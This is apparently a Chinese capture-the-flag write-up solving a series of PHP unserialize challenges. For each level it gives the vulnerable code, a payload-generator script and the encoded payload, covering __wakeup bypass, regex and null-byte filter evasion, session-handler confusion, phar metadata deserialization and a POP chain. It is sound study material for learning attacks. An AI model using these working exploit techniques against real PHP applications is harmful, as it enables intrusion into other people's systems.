un1__wakeup()绕过
<?phpclass SoFun{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); } } function __wakeup(){ $this-> file='index.php'; }}if (!isset($_GET['tryhackme'])){ show_source(__FILE__);}else{ $a=$_GET['tryhackme']; echo $a; unserialize($a);} ?><!--key in flag1.php-->攻击代码构造
定义一个SoFun对象,然后将其 $file 属性设置为 flag1.php。但注意到有__wakeup()这个方法,会将 $file 重置为 index.php,所以把这个绕过就好,先获得原始的列化字符串,然后修改表示对象属性个数的值就好。
<?phpclass SoFun{ protected $file='flag1.php';}
$obj = new SoFun();$a = serialize($obj);echo urlencode($a);?>执行获得
O%3A5%3A%22SoFun%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A9%3A%22flag1.php%22%3B%7D然后执行绕过_wakeup()方法的操作1改2
O%3A5%3A%22SoFun%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A9%3A%22flag1.php%22%3B%7D再根据代码要求GET传入?tryhackme=,即可得到flag
un2+
<?phpinclude "flag2.php";class funny{ function __wakeup(){ global $flag; echo $flag; }}if (isset($_GET['tryhackme'])){ $a = $_GET['tryhackme']; if(preg_match('/[oc]:\d+:/i', $a)){ die("NONONO!"); } else { unserialize($a); }} else { show_source(__FILE__);}?>根据preg_match那一行就可以得知需要利用正则绕过中的加号绕过(需url编码)。
<?phpclass funny{//这里空着,需要一个空类,不定义属性,尝试过定义,没生成序列化字符串}
$a = new funny();$b = serialize($a);echo $b;?>执行获得
O:5:"funny":0:{}然后+号编码成%2B绕过
O:%2B5:"funny":0:{}再根据代码要求GET传入?tryhackme=,即可得到flag
un3.
<?phpinclude "flag3.php";class funny{ private $password; public $verify; function __wakeup(){ global $nobodyknow; global $flag; $this->password = $nobodyknow; if ($this->password === $this->verify){ echo $flag; } else { echo "浣犱笉澶鍟�??!"; } }}if (isset($_GET['tryhackme'])){$a = $_GET['tryhackme'];unserialize($a);} else { show_source(__FILE__);}?>这个题目跟前面不太一样,这次需要触发__wakeup(),$password=$nobodyknow,然后话需要$verify强等于$password
<?phpclass funny{ private $password; public $verify; public function gmf(){ $this->verify =&$this->password; }}
$a = new funny();$a->gmf();$b=serialize($a);echo urlencode($b);?>执行获得
O%3A5%3A%22funny%22%3A2%3A%7Bs%3A15%3A%22%00funny%00password%22%3BN%3Bs%3A6%3A%22verify%22%3BR%3A2%3B%7D然后按照要求get传参就好,获得flag
un4 session引擎
<?php// goto un42.phpini_set('session.serialize_handler','php_serialize');session_start();if (isset($_GET['tryhackme'])){$_SESSION['tryhackme'] = $_GET['tryhackme'];} else {show_source(__FILE__);}?>- 看到第三行的php_serialize立刻可以想起是session反序列化漏洞,php_serialize引擎。
- 这里PHP会使用php_serialize引擎将数据存入session文件。即将tryhackeme参数传入
$_SESSION['tryhackme']。 - 目标文件是un42.php,由于这里默认使用
php引擎,所以有读取格式
键名|序列化内容好分析完毕,按照第二行提示去访问一下un42.php
<?phpinclude "flag4.php"; ini_set('session.serialize_handler','php');session_start();class funny{ public $a; function __destruct(){ global $flag; echo $flag; }}show_source(__FILE__);?>那么生成payload的脚本就好写了
<?phpclass funny { public $a;}
$obj = new funny();$s = serialize($obj);
$payload = "|" . $s;
echo $payload . "\n";echo urlencode($payload);?>执行可以得到
|O:5:"funny":1:{s:1:"a";N;}%7CO%3A5%3A%22funny%22%3A1%3A%7Bs%3A1%3A%22a%22%3BN%3B%7D然后按照第一串代码要求传入?tryhackme=,最后直接url将un4.php改成un42.php,页面上就会显示flag
un5私有属性 ASCII
<?phpinclude "flag5.php";class funny{ private $a; function __construct() { $this->a = "givemeflag"; } function __destruct() { global $flag; if ($this->a === "givemeflag") { echo $flag; } }}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){$a = $_GET['tryhackme'];for($i=0;$i<strlen($a);$i++){ if (ord($a[$i]) < 32 || ord($a[$i]) > 126) { die("浣犲埌搴曡涓嶈鍟�"); }}unserialize($a);} else { show_source(__FILE__);}?>- 由于
$a是私有的private,而在 PHP 序列化中,私有属性的存储格式是:\0类名\0属性名(\0代表空字符/Null Byte,ASCII 码为 0),不进行替换的话,就会由于后面的for循环判断条件而die 绕过思路 PHP 的unserialize()函数支持一种特殊的字符串格式,用 S 表示。 - 小写
s:标准的字符串,如s:5:"hello"。 - 大写
S:支持十六进制转义的字符串。它允许用\加上十六进制数来表示字符。- 例如:
\00代表 Null Byte。 - 关键点:
\、0都是可见字符(ASCII > 32),可以完美绕过过滤器的检测!
- 例如:
所以生成payload的脚本
<?phpclass funny { private $a = "givemeflag";}
$obj = new funny();$a = serialize($obj);$b = str_replace(chr(0), '\00', $a);//将不可见的 Null Byte (chr(0)) 替换为字面量字符串 "\00",也就是控制所有字符的ASCII值再32~126之间$c = str_replace('s:8:', 'S:8:', $b);echo $c . "\n";echo urlencode($c);?>执行可以得到
O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}O%3A5%3A%22funny%22%3A1%3A%7BS%3A8%3A%22%5C00funny%5C00a%22%3Bs%3A10%3A%22givemeflag%22%3B%7D然后GET传入,即可得到flag
un6可调用机制
<?phpinclude "flag6.php";class funny{ public function pyflag(){ global $flag; echo $flag; }}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){$a = unserialize($_GET['tryhackme']);$a();} else { show_source(__FILE__);}?>这个题乍看没啥东西,最开始大意写的payload生成脚本一直错误。
实际考察了可调用机制,即PHP 可调用(callable) 反序列化利用。表达式 $a() 会把 $a 当作 _callable_ 来调用,PHP 中一个合法的 callable 可以是 [$object, "methodName"](数组形式),因此如果我们让 unserialize() 返回这样的数组:第一个元素是 funny 类的对象,第二个元素是字符串 "pyflag",那么 $a() 就会等价于调用 $object->pyflag(),从而打印出 $flag
<?phpclass funny{ public function pyflag(){}}
$obj=new funny();$payload = array($obj, "pyflag");$a = serialize($payload);echo urlencode($a);?>执行获得
a%3A2%3A%7Bi%3A0%3BO%3A5%3A%22funny%22%3A0%3A%7B%7Di%3A1%3Bs%3A6%3A%22pyflag%22%3B%7D然后按照要求GET传参,成功得到flag
un7 phar反序列化
<?phpinclude "flag7.php";class funny{ function __destruct() { global $flag; echo $flag; }}
show_source(__FILE__);if (isset($_GET['action'])) { $a = $_GET['action']; if ($a === "check") { $b = $_GET['file']; if (file_exists($b) && !empty($b)) { echo "$b is exist!"; } } else if ($a === "upload") { if (!is_dir("./upload")){ mkdir("./upload"); } $filename = "./upload/".rand(1, 10000).".txt"; if (isset($_GET['data'])){ file_put_contents($filename, base64_decode($_GET['data'])); echo "Your file path:$filename"; } }}?>这个就是考察phar反序列化了
代码中没有任何 unserialize() 函数。 通常情况下,没有 unserialize() 就无法进行反序列化攻击。但是,这里有两个关键点组合在一起,构成了漏洞:
- 文件上传功能 (
action=upload):允许我们写入文件,虽然强制后缀是.txt,但内容由我们控制(base64解码后写入)。 - 文件存在检查 (
action=check):使用了file_exists($b)。 核心原理: 在 PHP 中,大部分文件系统函数(如file_exists,is_dir,file_get_contents等)都支持伪协议(Wrappers)。 如果使用phar://伪协议读取一个 PHAR 文件(PHP Archive),PHP 会自动解析该文件中的元数据(Metadata)。而这个元数据是以序列化的形式存储的。 这意味着:file_exists("phar://path/to/file")等同于unserialize(metadata)。即使文件后缀是.txt,只要内容符合 PHAR 格式,phar://协议依然能解析它。
所以解题思路就清晰了
生成:在本地生成一个包含恶意 funny 对象的 PHAR 文件。
上传:将这个文件上传到服务器。
触发:利用 file_exists 和 phar:// 协议触发反序列化。解题
1.生成脚本
用来生成文件的本地PHP脚本,运行此脚本需要本地 php.ini 中设置 phar.readonly = Off
只想临时关闭的话,可以php -d phar.readonly=0 文件名
<?php// 1. 定义目标类 (根据题目代码)class funny { // 题目中类里没有属性,只有方法 // 反序列化时只需类名匹配即可触发 __destruct}
// 2. 创建 Phar 对象// 注意:如果本地已有 phar.phar,先手动删除@unlink("phar.phar");$phar = new Phar("phar.phar");$phar->startBuffering();
// 3. 设置 Stub (Phar 文件头)// 必须以 __HALT_COMPILER(); 结尾,否则 PHP 不认它是 Phar 文件$phar->setStub("<?php __HALT_COMPILER(); ?>");
// 4. 将恶意对象放入 Metadata (这是核心!)// 当 Phar 被解析时,这里的对象会被反序列化$o = new funny();$phar->setMetadata($o);
// 5. 添加一个随意的压缩文件(必须有文件才能生成包)$phar->addFromString("test.txt", "test");
// 6. 停止缓冲,生成文件$phar->stopBuffering();
// 7. 输出 Base64 编码 (为了配合题目上传接口)echo "请复制下面的 Base64 字符串用于上传:\n\n";echo base64_encode(file_get_contents("phar.phar"));?>无注释纯享版
<?phpclass funny {
}
@unlink("phar.phar");$phar = new Phar("phar.phar");$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new funny();$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo "请复制下面的 Base64 字符串用于上传:\n\n";echo base64_encode(file_get_contents("phar.phar"));?>执行得到
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpGAAAAAQAAABEAAAABAAAAAAAQAAAATzo1OiJmdW5ueSI6MDp7fQgAAAB0ZXN0LnR4dAQAAADolX9pBAAAAAx+f9i2AQAAAAAAAHRlc3Tpo/SpIefuDrguNs0qB1bKpNgjrgIAAABHQk1C2.上传文件
利用题目的 action=upload 功能
?action=upload&data=【这里填上面生成的Base64字符串】访问后,服务器会解码并保存文件,屏幕上会显示文件路径:Your file path:./upload/1468.txt
3.触发反序列化
利用题目的 action=check 和 file_exists。
Payload 构造
?action=check&file=phar://./upload/1468.txt显示:phar://upload/1468.txt is exist!flag{pH4r_lS_4Unny!!}
un8 pop链
<?phpinclude "flag8.php";
class a { public $object;
public function resolve() { array_walk($this, function($fn, $prev){ if ($fn[0] === "system" && $prev === "ls") { echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n"; global $flag; echo $flag; } }); }
public function __destruct() { @$this->object->add(); }
public function __toString() { return $this->object->string; }}
class b { protected $filename;
protected function addMe() { return "Add Failed. Filename:".$this->filename; }
public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); }}
class c { private $string;
public function __construct($string) { $this->string = $string; }
public function __get($name) { $var = $this->$name; $var[$name](); }}
if (isset($_GET["tryhackme"])) { unserialize($_GET['tryhackme']);} else { highlight_file(__FILE__);}思路分析全解
-
终点 (Flag):
a::resolve()-
触发条件:
array_walk遍历$this的属性时,必须有一个属性的键名是"ls",且值是一个数组,其第 0 个元素是"system"。 -
Payload 需求: 需要一个
a类对象(记为$A_final),它有一个动态属性$ls = ["system"]。
-
-
谁能调用
resolve?:c::__get()-
代码:
$var[$name](); -
如果我们控制
$var为['string' => [$A_final, 'resolve']],那么$var['string']()就等同于$A_final->resolve()。 -
触发
__get的条件是访问不存在或私有的属性。 -
Payload 需求: 需要一个
c类对象(记为$C),其内部$string属性构造为上述数组。
-
-
谁能触发
c::__get?:a::__toString()-
代码:
return $this->object->string; -
如果
$this->object是对象$C,因为string是c的私有属性,在a类中无法直接访问,所以会自动触发$C->__get('string')。 -
Payload 需求: 需要一个
a类对象(记为$A_middle),其$object属性为$C。
-
-
谁能触发
a::__toString?:b::addMe()-
代码:
return "Add Failed. Filename:".$this->filename; -
字符串拼接操作会将对象当做字符串处理,自动触发
__toString()。 -
Payload 需求: 需要一个
b类对象(记为$B),其$filename属性为$A_middle。
-
-
谁能触发
b::addMe?:b::__call()-
代码:
call_user_func([$this, $func."Me"], $args); -
如果调用不存在的方法
add(),就会执行addMe()。
-
-
起点 (入口):
a::__destruct()-
代码:
@$this->object->add(); -
这是 POP 链的开始。对象销毁时自动执行。
-
Payload 需求: 需要一个
a类对象(记为$A_start),其$object属性为$B。
-
payload生成脚本
<?php
// 1. 定义与题目完全一致的类结构,以便生成序列化字符串class a { public $object; // 这里的 $ls 是为了满足 resolve() 中的校验条件动态添加的 public $ls;}
class b { protected $filename; // 辅助方法,用于设置 protected 属性 public function setFilename($obj){ $this->filename = $obj; }}
class c { private $string; public function __construct($string) { $this->string = $string; }}
// --- 开始构造 POP 链 ---
// 步骤 1: 构造最终执行 resolve 的对象// 满足条件: $prev === "ls" (属性名) && $fn[0] === "system" (属性值)$target_a = new a();$target_a->ls = array("system");
// 步骤 2: 构造 c 类对象// 它的 $string 属性是一个数组,用于在 __get 中被当做函数执行// 数组格式为 [$obj, 'method'],这是 PHP 的 Callable 格式$c = new c(array('string' => array($target_a, 'resolve')));
// 步骤 3: 构造触发 __toString 的 a 类对象// 当访问 $middle_a->object->string 时,因为 object 是 c 类且 string 私有,触发 __get$middle_a = new a();$middle_a->object = $c;
// 步骤 4: 构造 b 类对象// 它的 filename 是 $middle_a。当进行字符串拼接时,触发 $middle_a 的 __toString$b = new b();$b->setFilename($middle_a);
// 步骤 5: 构造入口 a 类对象// 析构时调用 $this->object->add()。因为 b 没有 add 方法,触发 __call$start_a = new a();$start_a->object = $b;
// 生成 Payloadecho urlencode(serialize($start_a));
?>执行获得
O%3A1%3A%22a%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A1%3A%22b%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3BO%3A1%3A%22a%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A1%3A%22c%22%3A1%3A%7Bs%3A9%3A%22%00c%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22a%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A2%3A%22ls%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Di%3A1%3Bs%3A7%3A%22resolve%22%3B%7D%7D%7Ds%3A2%3A%22ls%22%3BN%3B%7D%7Ds%3A2%3A%22ls%22%3BN%3B%7D然后get请求就可以看到flag
un9反序列化+SSRF
<?php// POST py=flag&url=yoururl to un92.php and you will get the flagif (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){$a = unserialize($_GET['tryhackme']);$a->pyflag();} else { show_source(__FILE__);}?>嘶这个题一直接接收不到flag,先做后面的
un10
<?phpinclude("flag10.php");
class a { public $test_1; public $string; public $test_2;
public function __construct($test_1, $string, $test_2) { $this->test_1 = $test_1; $this->string = $string; $this->test_2 = $test_2; }
public static function filePutStr ($string) { return str_replace("\0*\0", "00*00", $string); }
public static function fileGetStr ($string) { return str_replace("00*00", "\0*\0", $string); }
public function __wakeup() { $string = str_replace("1", "2", $this->string); if ($string == 1) { echo "Egg!!!"; } else { echo "No egg, but you can get the flag!"; } }}
class b { public $a; protected $function;
public function __toString() { if (is_string($this->a)) { return $this->a; } else if (is_callable($this->a)) { return call_user_func($this->a); } else { return "nope"; } }
public function fly() { if ($this->function) { global $flag; echo $flag; } return "nope"; }}
if ($_GET["mode"] == "ser" && isset($_GET["data"])) { if (!is_dir("./tmp")) { @mkdir("./tmp"); }
if (preg_match("/(fly)|(S)/", $_GET["data"])) { die("Don't hack me, please~"); } else { $a = new a($_GET['test_1'], $_GET["data"], $_GET["test_2"]); $data = a::filePutStr(serialize($a)); file_put_contents("./tmp/".md5($_SERVER["REMOTE_ADDR"]), $data); }
} else if ($_GET["mode"] == "unser") { $data = file_get_contents("./tmp/".md5($_SERVER["REMOTE_ADDR"])); $data = a::fileGetStr($data); unserialize($data);} else { highlight_file(__FILE__);}